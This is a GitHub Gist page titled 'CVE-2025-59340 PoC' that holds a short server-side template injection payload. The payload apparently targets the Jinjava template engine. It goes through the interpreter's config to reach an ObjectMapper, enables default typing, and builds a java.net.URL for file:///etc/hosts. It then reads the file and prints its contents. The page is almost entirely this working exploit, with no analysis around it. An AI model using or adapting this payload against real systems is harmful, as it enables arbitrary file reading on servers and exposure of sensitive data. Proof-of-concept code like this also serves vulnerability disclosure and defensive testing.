Skip to content

Instantly share code, notes, and snippets.

@hahwul
Created November 17, 2025 07:13
Show Gist options
  • Select an option

  • Save hahwul/15fec52fa4e7b06ce3673b333c16464b to your computer and use it in GitHub Desktop.

Select an option

Save hahwul/15fec52fa4e7b06ce3673b333c16464b to your computer and use it in GitHub Desktop.
CVE-2025-59340 PoC
{% set mapper = ____int3rpr3t3r____.config.objectMapper %}
{{ mapper.enableDefaultTyping() }}
{% set file = mapper.readValue('"file:///etc/hosts"', mapper.getTypeFactory().constructFromCanonical('java.net.URL')) %}
{% set inputStream = file.openStream() %}
{% set bytes = inputStream.readAllBytes() %}
{% set stringType = mapper.getTypeFactory().constructFromCanonical('java.lang.String') %}
{% set content = mapper.convertValue(bytes, stringType) %}
{{ content }}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment